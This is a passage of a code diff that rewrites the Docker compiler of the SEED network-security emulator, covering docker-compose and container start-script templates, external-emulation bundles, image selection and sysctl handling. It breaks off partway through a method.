'hnode': - self._log('compiling host node {} for as{}...'.format(name, scope)) - self.__services += self._compileNode(obj) - - if type == 'rs': - self._log('compiling rs node for {}...'.format(name)) - self.__services += self._compileNode(obj) - - if type == 'snode': - self._log('compiling service node {}...'.format(name)) - self.__services += self._compileNode(obj) - - if self.__internet_map_enabled: - self._log('enabling seedemu-internet-map...') - - self.__services += DockerCompilerFileTemplates['seedemu_internet_map'].format( - clientImage = SEEDEMU_INTERNET_MAP_IMAGE, - clientPort = self.__internet_map_port - ) - - if self.__ether_view_enabled: - self._log('enabling seedemu-ether-view...') - - self.__services += DockerCompilerFileTemplates['seedemu_ether_view'].format( - clientImage = SEEDEMU_ETHER_VIEW_IMAGE, - clientPort = self.__ether_view_port - ) - - local_images = '' - - for (image, _) in self.__images.values(): - if image.getName() not in self._used_images or not image.isLocal(): continue - local_images += DockerCompilerFileTemplates['local_image'].format( - imageName = image.getName(), - dirName = image.getDirName() - ) - - toplevelvolumes = self._computeComposeTopLvlVolumes() - - self._log('creating docker-compose.yml...'.format(scope, name)) - print(DockerCompilerFileTemplates['compose'].format( - services = self.__services, - networks = self.__networks, - volumes = toplevelvolumes, - dummies = local_images + self._makeDummies() - ), file=open('docker-compose.yml', 'w')) - - self.generateEnvFile(Scope(ScopeTier.Global),'') - - def _computeComposeTopLvlVolumes(self) -> str: - """!@brief render the 'volumes:' section of the docker-compose.yml file - It contains named volumes but not bind-mounts. - """ - toplevelvolumes = '' - if len(topvols := self._getVolumes()) > 0: - hit = False - #topvols = set(map( lambda vol: TopLvlVolume(vol), pool.getVolumes() )) - - for v in topvols: - v.mode = 'toplevel' - - #toplevelvolumes += '\n'.join(map( lambda line: ' ' + line ,dump( topvols ).split('\n') ) ) - - # sharedFolders/bind mounts do not belong in the top-level volumes section - for v in [vv for vv in topvols if vv.asDict()['type'] == 'volume' ]: - hit = True - toplevelvolumes += ' {}:\n'.format(v.asDict()['source']) # why not 'name' - lines = dump( v ).rstrip('\n').split('\n') - toplevelvolumes += '\n'.join( map( lambda x: ' ' - if x[0] != 0 else ' ' + x[1] - if x[1] != ''else '' , enumerate(lines ) ) ) - toplevelvolumes += '\n' - - if hit: toplevelvolumes = 'volumes:\n' + toplevelvolumes - return toplevelvolumes \ No newline at end of file +from __future__ import annotations + +from pathlib import Path +from datetime import datetime +from seedemu.core.Emulator import Emulator +from seedemu.core import ( + Node, Network, Compiler, BaseSystem, BaseOption, + Scope, ScopeType, ScopeTier, OptionHandling, + BaseVolume, OptionMode +) +from seedemu.core.enums import NodeRole, NetworkType +from .DockerImage import DockerImage +from .DockerImageConstant import * +from typing import Dict, Generator, List, Set, Tuple +from hashlib import md5 +from functools import cmp_to_key +from os import mkdir, chdir +from re import sub +from ipaddress import IPv4Network, IPv4Address +from shutil import copyfile +import json +import shlex +from yaml import dump + +from seedemu.core.ExternalEmulation import ExternalEmuSpec, ExternalNetRef, ExternalFileSpec + + +SEEDEMU_INTERNET_MAP_IMAGE = 'handsonsecurity/seedemu-multiarch-map:buildx-latest' +SEEDEMU_ETHER_VIEW_IMAGE = 'handsonsecurity/seedemu-multiarch-etherview:buildx-latest' + + +DockerCompilerFileTemplates: Dict[str, str] = {} + +# ---------------------------- +# External Emulation (Task 3) +# ---------------------------- + +DockerCompilerFileTemplates['compose_external_emu'] = """\ + {serviceId}: + image: {image} + container_name: {containerName} +{privileged}{cap_add}{workdir}{command} volumes: + - ./{bundleDir}:{mountTo} +{networks_block}{environment_block} +""" + +# ---------------------------- +# Existing templates +# ---------------------------- + +DockerCompilerFileTemplates['compose_external_service'] = """\ + {serviceId}: + build: ./{serviceId} + container_name: {containerName} +{cap_add}{privileged} networks: +{networks}{ports}{volumes} environment: +{environment} +""" + +DockerCompilerFileTemplates['dockerfile'] = """\ +ARG DEBIAN_FRONTEND=noninteractive +""" + +DockerCompilerFileTemplates['start_script'] = """\ +#!/bin/bash +{startCommands} +echo "ready! run 'docker exec -it $HOSTNAME /bin/zsh' to attach to this node" >&2 +{buildtime_sysctl} +tail -f /dev/null +""" + +DockerCompilerFileTemplates['seedemu_sniffer'] = """\ +#!/bin/bash +last_pid=0 +while read -sr expr; do { + [ "$last_pid" != 0 ] && kill $last_pid 2> /dev/null + [ -z "$expr" ] && continue + tcpdump -e -i any -nn -p -q "$expr" & + last_pid=$! +}; done +[ "$last_pid" != 0 ] && kill $last_pid +""" + +DockerCompilerFileTemplates['seedemu_worker'] = """\ +#!/bin/bash + +net() { + [ "$1" = "status" ] && { + ip -j link | jq -cr '.[] .operstate' | grep -q UP && echo "up" || echo "down" + return + } + ip -j link | jq -cr '.[] .ifname' | while read -r ifname; do + ip link set "$ifname" "$1" + done +} + +bgp() { + cmd="$1" + peer="$2" + [ "$cmd" = "bird_peer_down" ] && birdc dis "$peer" + [ "$cmd" = "bird_peer_up" ] && birdc en "$peer" +} + +while read -sr line; do { + id="`cut -d ';' -f1 <<< "$line"`" + cmd="`cut -d ';' -f2 <<< "$line"`" + peer="`cut -d ';' -f3 <<< "$line"`" + + output="no such command." + + [ "$cmd" = "net_down" ] && output="`net down 2>&1`" + [ "$cmd" = "net_up" ] && output="`net up 2>&1`" + [ "$cmd" = "net_status" ] && output="`net status 2>&1`" + [ "$cmd" = "bird_list_peer" ] && output="`birdc s p | grep --color=never BGP 2>&1`" + + [[ "$cmd" == "bird_peer_"* ]] && output="`bgp "$cmd" "$peer" 2>&1`" + + printf '_BEGIN_RESULT_' + jq -Mcr --arg id "$id" --arg return_value "$?" --arg output "$output" -n '{id: $id | tonumber, return_value: $return_value | tonumber, output: $output }' + printf '_END_RESULT_' +}; done +""" + +DockerCompilerFileTemplates['replace_address_script'] = '''\ +#!/bin/bash +ip -j addr | jq -cr '.[]' | while read -r iface; do { + ifname="`jq -cr '.ifname' <<< "$iface"`" + jq -cr '.addr_info[]' <<< "$iface" | while read -r iaddr; do { + addr="`jq -cr '"\(.local)/\(.prefixlen)"' <<< "$iaddr"`" + line="`grep "$addr" < /dummy_addr_map.txt`" + [ -z "$line" ] && continue + new_addr="`cut -d, -f2 <<< "$line"`" + ip addr del "$addr" dev "$ifname" + ip addr add "$new_addr" dev "$ifname" + }; done +}; done +''' + +DockerCompilerFileTemplates['compose'] = """\ +version: "3.4" +services: +{dummies} +{services} +networks: +{networks} +{volumes} +""" + +DockerCompilerFileTemplates['compose_dummy'] = """\ + {imageDigest}: + build: + context: . + dockerfile: dummies/{imageDigest} + image: {imageDigest} +{dependsOn} +""" + +DockerCompilerFileTemplates['depends_on'] = """\ + depends_on: + - {dependsOn} +""" + +DockerCompilerFileTemplates['compose_service'] = """\ + {nodeId}: + build: ./{nodeId} + container_name: {nodeName} + depends_on: + - {dependsOn} + cap_add: + - ALL +{sysctls} + privileged: true + networks: +{networks}{ports}{volumes} + labels: +{labelList} + environment: + {environment} +""" + +DockerCompilerFileTemplates['compose_sysctl'] = """ + sysctls: + +""" + +DockerCompilerFileTemplates['compose_label_meta'] = """\ + org.seedsecuritylabs.seedemu.meta.{key}: "{value}" +""" + +DockerCompilerFileTemplates['compose_ports'] = """\ + ports: +{portList} +""" + +DockerCompilerFileTemplates['compose_port'] = """\ + - {hostPort}:{nodePort}/{proto} +""" + +DockerCompilerFileTemplates['compose_volumes'] = """\ + volumes: +{volumeList} +""" + +DockerCompilerFileTemplates['compose_service_network'] = """\ + {netId}: +{address} +""" + +DockerCompilerFileTemplates['compose_service_network_address'] = """\ + ipv4_address: {address} +""" + +DockerCompilerFileTemplates['compose_network'] = """\ + {netId}: + driver_opts: + com.docker.network.driver.mtu: {mtu} + ipam: + config: + - subnet: {prefix} + labels: +{labelList} +""" + +DockerCompilerFileTemplates['seedemu_internet_map'] = """\ + {serviceName}: + image: {clientImage} + container_name: {containerName} + volumes: + - /var/run/docker.sock:/var/run/docker.sock + privileged: true +""" + +DockerCompilerFileTemplates['port_forwarding_entry'] = """\ + ports: + - {port_forwarding_field} +""" + +DockerCompilerFileTemplates['environment_variable_entry'] = """\ + environment: +""" + +DockerCompilerFileTemplates['network_entry'] = """\ + networks: + {network_name_field}: + {ipv4_address_field} +""" + +DockerCompilerFileTemplates['custom_compose_label_meta'] = """\ + labels: +{labelList} +""" + +DockerCompilerFileTemplates['seedemu_ether_view'] = """\ + seedemu-ether-client: + image: {clientImage} + container_name: seedemu_ether_view + volumes: + - /var/run/docker.sock:/var/run/docker.sock + ports: + - {clientPort}:5000/tcp +""" + +DockerCompilerFileTemplates['zshrc_pre'] = """\ +export NOPRECMD=1 +alias st=set_title +""" + +DockerCompilerFileTemplates['local_image'] = """\ + {imageName}: + build: + context: {dirName} + image: {imageName} +""" + + +class Docker(Compiler): + """! + @brief The Docker compiler class. + + Docker is one of the compiler driver. It compiles the lab to docker + containers. + """ + + __services: str + __custom_services: str + + __networks: str + __naming_scheme: str + __self_managed_network: bool + __dummy_network_pool: Generator[IPv4Network, None, None] + + __internet_map_enabled: bool + __internet_map_port: int + + __ether_view_enabled: bool + __ether_view_port: int + + __client_hide_svcnet: bool + + __images: Dict[str, Tuple[DockerImage, int]] + __forced_image: str + __disable_images: bool + __image_per_node_list: Dict[Tuple[str, str], DockerImage] + _used_images: Set[str] + __config: List[Tuple[BaseOption, Scope]] # all encountered Options for .env file + __option_handling: OptionHandling # strategy how to deal with Options + __basesystem_dockerimage_mapping: dict + + def __init__( + self, + platform: Platform = Platform.AMD64, + namingScheme: str = "as{asn}{role}-{displayName}-{primaryIp}", + selfManagedNetwork: bool = False, + dummyNetworksPool: str = '10.128.0.0/9', + dummyNetworksMask: int = 24, + internetMapEnabled: bool = True, + internetMapPort: int = 8080, + etherViewEnabled: bool = False, + etherViewPort: int = 5000, + clientHideServiceNet: bool = True, + option_handling: OptionHandling = OptionHandling.CREATE_SEPARATE_ENV_FILE + ): + self.__option_handling = option_handling + self.__networks = "" + self.__services = "" + self.__custom_services = "" + self.__naming_scheme = namingScheme + self.__self_managed_network = selfManagedNetwork + self.__dummy_network_pool = IPv4Network(dummyNetworksPool).subnets(new_prefix=dummyNetworksMask) + + self.__internet_map_enabled = internetMapEnabled + self.__internet_map_port = internetMapPort + + self.__ether_view_enabled = etherViewEnabled + self.__ether_view_port = etherViewPort + + self.__client_hide_svcnet = clientHideServiceNet + + self.__images = {} + self.__forced_image = None + self.__disable_images = False + self._used_images = set() + self.__image_per_node_list = {} + self.__config = [] # variables for '.env' file alongside 'docker-compose.yml' + + self.__volumes_dedup = [] + self.__vol_names = [] + super().__init__() + + self.__platform = platform + self.__basesystem_dockerimage_mapping = BASESYSTEM_DOCKERIMAGE_MAPPING_PER_PLATFORM[self.__platform] + + for name, image in self.__basesystem_dockerimage_mapping.items(): + priority = 0 + if name == BaseSystem.DEFAULT: + priority = 1 + self.addImage(image, priority=priority) + + # ---------------------------- + # External Emulation (Task 3) + # ---------------------------- + + def _resolve_external_net(self, emulator: Emulator, ref: ExternalNetRef) -> str: + """ + Map ExternalNetRef -> docker-compose network name used by SEED. + """ + reg = emulator.getRegistry() + + if ref.scope == "ix": + target_scope = "ix" + target_name = ref.name + elif ref.scope == "as": + assert ref.asn is not None, "ExternalNetRef(scope='as') requires asn" + target_scope = str(ref.asn) + target_name = ref.name + else: + raise ValueError(f"Unknown ExternalNetRef.scope: {ref.scope}") + + for ((scope, typ, name), obj) in reg.getAll().items(): + if typ != "net": + continue + if str(scope) == str(target_scope) and name == target_name: + return self._getRealNetName(obj) + + raise KeyError(f"Could not find network: scope={target_scope} name={target_name}") + + def _writeExternalEmuBundles(self, output_dir: str, specs: List[ExternalEmuSpec]) -> None: + """ + Writes generated files for ExternalEmuSpec into: + /external_emulations//... + """ + out = Path(output_dir).resolve() + base = out / "external_emulations" + base.mkdir(parents=True, exist_ok=True) + + for spec in specs: + spec_dir = base / spec.name + spec_dir.mkdir(parents=True, exist_ok=True) + + for fs in spec.files: + fpath = spec_dir / fs.relpath + fpath.parent.mkdir(parents=True, exist_ok=True) + if isinstance(fs.content, bytes): + fpath.write_bytes(fs.content) + else: + fpath.write_text(str(fs.content), encoding="utf-8") + + self._log(f"Wrote external emulation bundles to: {base}") + + def _compileExternalEmuService(self, emulator: Emulator, spec: ExternalEmuSpec) -> str: + """ + Adds a docker-compose service for one ExternalEmuSpec. + """ + service_id = sub(r'[^a-zA-Z0-9_.-]', '_', f"extemu_{spec.name}") + container_name = service_id + bundle_dir = str((Path("external_emulations") / spec.name)).replace("\\", "/") + + privileged = " privileged: true\n" if getattr(spec, "privileged", True) else "" + cap_add = " cap_add:\n - ALL\n" if getattr(spec, "cap_add_all", True) else "" + + workdir = "" + if getattr(spec, "workdir", None): + workdir = f" working_dir: {json.dumps(spec.workdir)}\n" + + command = "" + if getattr(spec, "command", None): + command = f" command: {json.dumps(spec.command)}\n" + + # networks block + networks_block = "" + if getattr(spec, "networks", None): + nets = "" + for nref in spec.networks: + net_name = self._resolve_external_net(emulator, nref) + if getattr(nref, "ipv4", None): + nets += f" {net_name}:\n ipv4_address: {nref.ipv4}\n" + else: + nets += f" {net_name}:\n" + networks_block = " networks:\n" + nets + + # environment block (optional) + environment_block = "" + if getattr(spec, "env", None): + env_lines = "" + for k, v in spec.env.items(): + env_lines += f" - {k}={v}\n" + environment_block = " environment:\n" + env_lines + + return DockerCompilerFileTemplates['compose_external_emu'].format( + serviceId=service_id, + image=spec.image, + containerName=container_name, + privileged=privileged, + cap_add=cap_add, + workdir=workdir, + command=command, + bundleDir=bundle_dir, + mountTo=getattr(spec, "mount_to", "/seedext"), + networks_block=networks_block, + environment_block=environment_block + ) + "\n" + + # ---------------------------- + # Existing Docker compiler code + # ---------------------------- + + def _addVolume(self, vol: BaseVolume): + key = vol.asDict()["source"] + if key not in self.__vol_names: + self.__volumes_dedup.append(vol) + self.__vol_names.append(key) + return self + + def _getVolumes(self) -> List[BaseVolume]: + return self.__volumes_dedup + + def optionHandlingCapabilities(self) -> OptionHandling: + return OptionHandling.DIRECT_DOCKER_COMPOSE | OptionHandling.CREATE_SEPARATE_ENV_FILE + + def getName(self) -> str: + return "Docker" + + def addImage(self, image: DockerImage, priority: int = -1) -> "Docker": + assert image.getName() not in self.__images, f'image with name {image.getName()} already exists.' + self.__images[image.getName()] = (image, priority) + return self + + def getImages(self) -> List[Tuple[DockerImage, int]]: + return list(self.__images.values()) + + def forceImage(self, imageName: str) -> "Docker": + self.__forced_image = imageName + return self + + def disableImages(self, disabled: bool = True) -> "Docker": + self.__disable_images = disabled + return self + + def setImageOverride(self, node: Node, imageName: str) -> "Docker": + asn = node.getAsn() + name = node.getName() + self.__image_per_node_list[(asn, name)] = imageName + return self + + def _groupSoftware(self, emulator: Emulator): + registry = emulator.getRegistry() + + # --- Task 2: export external components config for hardware/standalone hookup --- + externals = getattr(emulator, "getExternalComponents", lambda: {})() + self._log(f"External components detected: {list(externals.keys())}") + + external_dump = {} + for name, ext in externals.items(): + external_dump[name] = { + "name": getattr(ext, "name", name), + "role": getattr(ext, "role", None), + "asn": getattr(ext, "asn", None), + "impl_type": getattr(ext, "impl_type", None), + "interfaces": [ + { + "name": getattr(i, "name", None), + "network": getattr(i, "network", None), + "ip": getattr(i, "ip", None), + "mac": getattr(i, "mac", None), + } + for i in getattr(ext, "interfaces", []) + ], + "scion": getattr(ext, "scion", {}), + } + + if external_dump: + with open("externals.json", "w", encoding="utf-8") as f: + json.dump(external_dump, f, indent=2) + self._log("Wrote externals.json (for hardware/standalone integration).") + + softGroups: Dict[str, Dict[str, List[Node]]] = {} + groupIter: Dict[str, int] = {} + + for ((scope, type, name), obj) in registry.getAll().items(): + if type not in ['rnode', 'csnode', 'hnode', 'snode', 'rs', 'snode']: + continue + + node: Node = obj + (img, _) = self._selectImageFor(node) + imgName = img.getName() + + if imgName not in groupIter: + groupIter[imgName] = 0 + groupIter[imgName] += 1 + + if imgName not in softGroups: + softGroups[imgName] = {} + + group = softGroups[imgName] + + for soft in node.getSoftware(): + if soft not in group: + group[soft] = [] + group[soft].append(node) + + for (key, val) in softGroups.items(): + maxIter = groupIter[key] + self._log(f'grouping software for image "{key}" - {maxIter} references.') + step = 1 + + for commRequired in range(maxIter, 0, -1): + currentTier: Set[str] = set() + currentTierNodes: Set[Node] = set() + + for (soft, nodes) in val.items(): + if len(nodes) == commRequired: + currentTier.add(soft) + for node in nodes: + currentTierNodes.add(node) + + for node in currentTierNodes: + if not node.hasAttribute('__soft_install_tiers'): + node.setAttribute('__soft_install_tiers', []) + node.getAttribute('__soft_install_tiers').append(currentTier) + + if len(currentTier) > 0: + self._log( + f'the following software has been grouped together in step {step}: {currentTier} ' + f'since they are referenced by {len(currentTierNodes)} nodes.' + ) + step += 1 + + def _selectImageFor(self, node: Node) -> Tuple[DockerImage, Set[str]]: + nodeSoft = node.getSoftware() + nodeKey = (node.getAsn(), node.getName()) + + if nodeKey in self.__image_per_node_list: + image_name = self.__image_per_node_list[nodeKey] + assert image_name in self.__images, f'image-per-node configured, but image {image_name} does not exist.' + (image, _) = self.__images[image_name] + self._log(f'image-per-node configured, using {image.getName()}') + return (image, nodeSoft - image.getSoftware()) + + if self.__disable_images: + self._log('disable-imaged configured, using base image.') + (image, _) = self.__images['ubuntu:20.04'] + return (image, nodeSoft - image.getSoftware()) + + if self.__forced_image is not None: + assert self.__forced_image in self.__images, f'forced-image configured, but image {self.__forced_image} does not exist.' + (image, _) = self.__images[self.__forced_image] + self._log(f'force-image configured, using image: {image.getName()}') + return (image, nodeSoft - image.getSoftware()) + + image = self.__basesystem_dockerimage_mapping[node.getBaseSystem()] + return (image, nodeSoft - image.getSoftware()) + + def _getNetMeta(self, net: Network) -> str: + (scope, type, name) = net.getRegistryInfo() + labels = '' + + if self.__client_hide_svcnet and scope == 'seedemu' and name == '000_svc': + return DockerCompilerFileTemplates['compose_label_meta'].format( + key='dummy', + value='dummy label for hidden node/net' + ) + + labels += DockerCompilerFileTemplates['compose_label_meta'].format( + key='type', + value='global' if scope == 'ix' else 'local' + ) + labels += DockerCompilerFileTemplates['compose_label_meta'].format(key='scope', value=scope) + labels += DockerCompilerFileTemplates['compose_label_meta'].format(key='name', value=name) + labels += DockerCompilerFileTemplates['compose_label_meta'].format(key='prefix', value=net.getPrefix()) + + if net.getDisplayName() is not None: + labels += DockerCompilerFileTemplates['compose_label_meta'].format( + key='displayname', value=net.getDisplayName() + ) + if net.getDescription() is not None: + labels += DockerCompilerFileTemplates['compose_label_meta'].format( + key='description', value=net.getDescription() + ) + + return labels + + def _getNodeMeta(self, node: Node) -> str: + (scope, type, name) = node.getRegistryInfo() + labels = '' + + labels += DockerCompilerFileTemplates['compose_label_meta'].format(key='asn', value=node.getAsn()) + labels += DockerCompilerFileTemplates['compose_label_meta'].format(key='nodename', value=name) + + if type == 'hnode': + labels += DockerCompilerFileTemplates['compose_label_meta'].format(key='role', value='Host') + if type == 'rnode': + labels += DockerCompilerFileTemplates['compose_label_meta'].format(key='role', value='Router') + if type == 'brdnode': + labels += DockerCompilerFileTemplates['compose_label_meta'].format(key='role', value='BorderRouter') + if type == 'csnode': + labels += DockerCompilerFileTemplates['compose_label_meta'].format(key='role', value='SCION Control Service') + if type == 'snode': + labels += DockerCompilerFileTemplates['compose_label_meta'].format(key='role', value='Emulator Service Worker') + if type == 'rs': + labels += DockerCompilerFileTemplates['compose_label_meta'].format(key='role', value='Route Server') + + if node.getDisplayName() is not None: + labels += DockerCompilerFileTemplates['compose_label_meta'].format( + key='displayname', value=node.getDisplayName() + ) + if node.getDescription() is not None: + labels += DockerCompilerFileTemplates['compose_label_meta'].format( + key='description', value=node.getDescription() + ) + + if len(node.getClasses()) > 0: + labels += DockerCompilerFileTemplates['compose_label_meta'].format( + key='class', + value=json.dumps(node.getClasses()).replace("\"", "\\\"") + ) + + for key, value in node.getLabel().items(): + labels += DockerCompilerFileTemplates['compose_label_meta'].format(key=key, value=value) + + n = 0 + for iface in node.getInterfaces(): + net = iface.getNet() + labels += DockerCompilerFileTemplates['compose_label_meta'].format(key=f'net.{n}.name', value=net.getName()) + labels += DockerCompilerFileTemplates['compose_label_meta'].format( + key=f'net.{n}.address', + value=f'{iface.getAddress()}/{net.getPrefix().prefixlen}' + ) + n += 1 + + return labels + + def _nodeRoleToString(self, role: NodeRole): + if role == NodeRole.Host: + return 'h' + if role == NodeRole.Router: + return 'r' + if role == NodeRole.OpenVpnRouter: + return 'r' + if role == NodeRole.ControlService: + return 'cs' + if role == NodeRole.RouteServer: + return 'rs' + if role == NodeRole.BorderRouter: + return 'brd' + assert False, f'unknown node role {role}' + + def _contextToPrefix(self, scope: str, type: str) -> str: + return f'{type}_{scope}_' + + def _addFile(self, path: str, content: str) -> str: + staged_path = md5(path.encode('utf-8')).hexdigest() + print(content, file=open(staged_path, 'w')) + return f'COPY {staged_path} {path}\n' + + def _importFile(self, path: str, hostpath: str) -> str: + staged_path = md5(path.encode('utf-8')).hexdigest() + copyfile(hostpath, staged_path) + return f'COPY {staged_path} {path}\n' + + def _getComposeNodeName(self, node: Node) -> str: + name = self.__naming_scheme.format( + asn=node.getAsn(), + role=self._nodeRoleToString(node.getRole()), + name=node.getName(), + displayName=node.getDisplayName() if node.getDisplayName() is not None else node.getName(), + primaryIp=node.getInterfaces()[0].getAddress() + ) + return sub(r'[^a-zA-Z0-9_.-]', '_', name) + + def _getRealNodeName(self, node: Node) -> str: + (scope, type, _) = node.getRegistryInfo() + prefix = self._contextToPrefix(scope, type) + return f'{prefix}{node.getName()}' + + def _getRealNetName(self, net: Network): + (netscope, _, _) = net.getRegistryInfo() + net_prefix = self._contextToPrefix(netscope, 'net') + if net.getType() == NetworkType.Bridge: + net_prefix = '' + return f'{net_prefix}{net.getName()}' + + def _getComposeServicePortList(self, node: Node) -> str: + _ports = node.getPorts() + ports = '' + if len(_ports) > 0: + lst = '' + for (h, n, p) in _ports: + lst += DockerCompilerFileTemplates['compose_port'].format( + hostPort=h, + nodePort=n, + proto=p + ) + ports = DockerCompilerFileTemplates['compose_ports'].format(portList=lst) + return ports + + def _getComposeNodeNets(self, node: Node) -> str: + node_nets = '' + dummy_addr_map = '' + + for iface in node.getInterfaces(): + net = iface.getNet() + real_netname = self._getRealNetName(net) + address = iface.getAddress() + + if self.__self_managed_network and net.getType() != NetworkType.Bridge: + d_index: int = net.getAttribute('dummy_prefix_index') + d_prefix: IPv4Network = net.getAttribute('dummy_prefix') + d_address: IPv4Address = d_prefix[d_index] + + net.setAttribute('dummy_prefix_index', d_index + 1) + + dummy_addr_map += '{}/{},{}/{}\n'.format( + d_address, d_prefix.prefixlen, + iface.getAddress(), iface.getNet().getPrefix().prefixlen + ) + address = d_address + + self._log( + 'using self-managed network: using dummy address {}/{} for {}/{} on as{}/{}'.format( + d_address, d_prefix.prefixlen, iface.getAddress(), iface.getNet().getPrefix().prefixlen, + node.getAsn(), node.getName() + ) + ) + + if address is None: + address = "" + else: + address = DockerCompilerFileTemplates['compose_service_network_address'].format(address=address) + + node_nets += DockerCompilerFileTemplates['compose_service_network'].format( + netId=real_netname, + address=address + ) + + return node_nets, dummy_addr_map + + def _getComposeNodeVolumes(self, node: Node) -> str: + volumes = '' + svcvols = list(set(node.getDockerVolumes())) + for v in svcvols: + v.mode = 'service' + yamlvols = '\n'.join(map(lambda line: ' ' + line, dump(svcvols).split('\n'))) + volumes += ' volumes:\n' + yamlvols if len(node.getDockerVolumes()) > 0 else '' + + for v in node.getDockerVolumes(): + self._addVolume(v) + return volumes + + def _computeDockerfile(self, node: Node) -> str: + dockerfile = DockerCompilerFileTemplates['dockerfile'] + + (image, soft) = self._selectImageFor(node) + + if not node.hasAttribute('__soft_install_tiers') and len(soft) > 0: + dockerfile += 'RUN apt-get update && apt-get install -y --no-install-recommends {}\n'.format( + ' '.join(sorted(soft)) + ) + + if node.hasAttribute('__soft_install_tiers'): + softLists: List[List[str]] = node.getAttribute('__soft_install_tiers') + for softList in softLists: + softList = set(softList) & soft + if len(softList) == 0: + continue + dockerfile += 'RUN apt-get update && apt-get install -y --no-install-recommends {}\n'.format( + ' '.join(sorted(softList)) + ) + + dockerfile = 'FROM {}\n'.format(md5(image.getName().encode('utf-8')).hexdigest()) + dockerfile + self._used_images.add(image.getName()) + + for cmd in node.getDockerCommands(): + dockerfile += f'{cmd}\n' + for cmd in node.getBuildCommands(): + dockerfile += f'RUN {cmd}\n' + + start_commands = '' + + if self.__self_managed_network: + start_commands += 'chmod +x /replace_address.sh\n' + start_commands += '/replace_address.sh\n' + dockerfile += self._addFile('/replace_address.sh', DockerCompilerFileTemplates['replace_address_script']) + dockerfile += self._addFile('/root/.zshrc.pre', DockerCompilerFileTemplates['zshrc_pre']) + + for (cmd, fork) in node.getStartCommands(): + start_commands += '{}{}\n'.format(cmd, ' &' if fork else '') + + for (cmd, fork) in node.getPostConfigCommands(): + start_commands += '{}{}\n'.format(cmd, ' &' if fork else '') + + dockerfile += self._addFile('/start.sh', DockerCompilerFileTemplates['start_script'].format( + startCommands=start_commands, + buildtime_sysctl=self._getNodeBuildtimeSysctl(node) + )) + + dockerfile += self._addFile('/seedemu_sniffer', DockerCompilerFileTemplates['seedemu_sniffer']) + dockerfile += self._addFile('/seedemu_worker', DockerCompilerFileTemplates['seedemu_worker']) + + dockerfile += 'RUN chmod +x /start.sh\n' + dockerfile += 'RUN set -e; for f in /start.sh /interface_setup; do ' \ + 'if [ -f "$f" ]; then tr -d "\\r" < "$f" > "$f.tmp"; mv "$f.tmp" "$f"; chmod +x "$f"; fi; ' \ + 'done\n' + + + dockerfile += 'RUN chmod +x /seedemu_sniffer\n' + dockerfile += 'RUN chmod +x /seedemu_worker\n' + + for file in node.getFiles(): + (path, content) = file.get() + dockerfile += self._addFile(path, content) + + for (cpath, hpath) in node.getImportedFiles().items(): + dockerfile += self._importFile(cpath, hpath) + + for cmd in node.getBuildCommandsAtEnd(): + dockerfile += f'RUN {cmd}\n' + + dockerfile += 'CMD ["/start.sh"]\n' + return dockerfile + + def _getNodeBuildtimeSysctl(self, node: Node) -> str: + set_flags = [] + rp_opt = node.getOption('sysctl_netipv4_conf_rp_filter') + for k, v in rp_opt.value.items(): + if k not in ['all', 'default']: + rp_filter = f'echo {int(v)} > /proc/sys/net/ipv4/conf/{k}/rp_filter' + set_flags.append(rp_filter) + elif rp_opt.mode == OptionMode.BUILD_TIME: + rp_filter = f'echo {int(v)} > /proc/sys/net/ipv4/conf/{k}/rp_filter' + set_flags.append(rp_filter) + + if opts := node.getScopedOptions(prefix='sysctl'): + for o, _ in opts: + if o.mode != OptionMode.BUILD_TIME: + continue + if o.fullname() == 'sysctl_netipv4_conf_rp_filter': + continue + for s in repr(o).split('\n'): + set_flags.append(f'sysctl -w {s.strip()} > /dev/null 2>&1') + + return '\n'.join(set_flags) + + def _compileNode(self, node: Node) -> str: + real_nodename = self._getRealNodeName(node) + node_nets, dummy_addr_map = self._getComposeNodeNets(node) + if self.__self_managed_network: + node.setFile('/dummy_addr_map.txt', dummy_addr_map) + + mkdir(real_nodename) + chdir(real_nodename) + + image, _ = self._selectImageFor(node) + dockerfile = self._computeDockerfile(node) + print(dockerfile, file=open('Dockerfile', 'w')) + + chdir('..') + + name = self._getComposeNodeName(node) + return DockerCompilerFileTemplates['compose_service'].format( + nodeId=real_nodename, + nodeName=name, + dependsOn=md5(image.getName().encode('utf-8')).hexdigest(), + networks=node_nets, + sysctls=self._getNodeSysctls(node), + ports=self._getComposeServicePortList(node), + labelList=self._getNodeMeta(node), + volumes=self._getComposeNodeVolumes(node), + environment=" - CONTAINER_NAME={}\n ".format(name) + self._computeNodeEnvironment(node) + ) + + def _getNodeSysctls(self, node: Node) -> str: + opt_keyvals = [] + if opts := node.getScopedOptions(prefix='sysctl'): + for o, _ in opts: + if o.mode == OptionMode.RUN_TIME: + if (val := o.repr_runtime()) is not None: + for s in val.split('\n'): + opt_keyvals.append(f'- {s.strip()}') + else: + opt_keyvals.append(repr(o)) + if len(opt_keyvals) > 0: + return DockerCompilerFileTemplates['compose_sysctl'] + ' ' + '\n '.join(opt_keyvals) + else: + return '' + + def _computeNodeEnvironment(self, node: Node) -> str: + def unique_partial_order_snd(elements): + unique_list = [] + for elem in elements: + if not any((elem[1] == existing[1]) and (elem[0].name == existing[0].name) for existing in unique_list): + unique_list.append(elem) + return unique_list + + def cmp_snd(a, b): + try: + if a[1] < b[1]: + return -1 + elif a[1] > b[1]: + return 1 + else: + return 0 + except TypeError: + return 0 + + scopts = node.getScopedRuntimeOptions() + + if self.__option_handling == OptionHandling.DIRECT_DOCKER_COMPOSE: + keyval_list = map(lambda x: f'- {x.name.upper()}={x.value}', [o for o, s in scopts]) + return '\n '.join(keyval_list) + + elif self.__option_handling == OptionHandling.CREATE_SEPARATE_ENV_FILE: + self.__config.extend(scopts) + res = sorted(self.__config, key=cmp_to_key(cmp_snd)) + self.__config = unique_partial_order_snd(res) + keyval_list = map(lambda x: f'- {x[0].name.upper()}=${{{self._sndary_key(x[0], x[1])}}}', scopts) + return '\n '.join(keyval_list) + + return "" + + def _sndary_key(self, o: BaseOption, s: Scope) -> str: + base = o.name.upper() + match s.tier: + case ScopeTier.Global: + match s.type: + case ScopeType.ANY: + return base + case ScopeType.BRDNODE: + return f'{base}_BRDNODE' + case ScopeType.HNODE: + return f'{base}_HNODE' + case ScopeType.CSNODE: + return f'{base}_CSNODE' + case ScopeType.RSNODE: + return f'{base}_RSNODE' + case ScopeType.RNODE: + return f'{base}_RNODE' + case _: + raise NotImplementedError + case ScopeTier.AS: + match s.type: + case ScopeType.ANY: + return f'{base}_{s.asn}' + case ScopeType.BRDNODE: + return f'{base}_{s.asn}_BRDNODE' + case ScopeType.HNODE: + return f'{base}_{s.asn}_HNODE' + case ScopeType.CSNODE: + return f'{base}_{s.asn}_CSNODE' + case 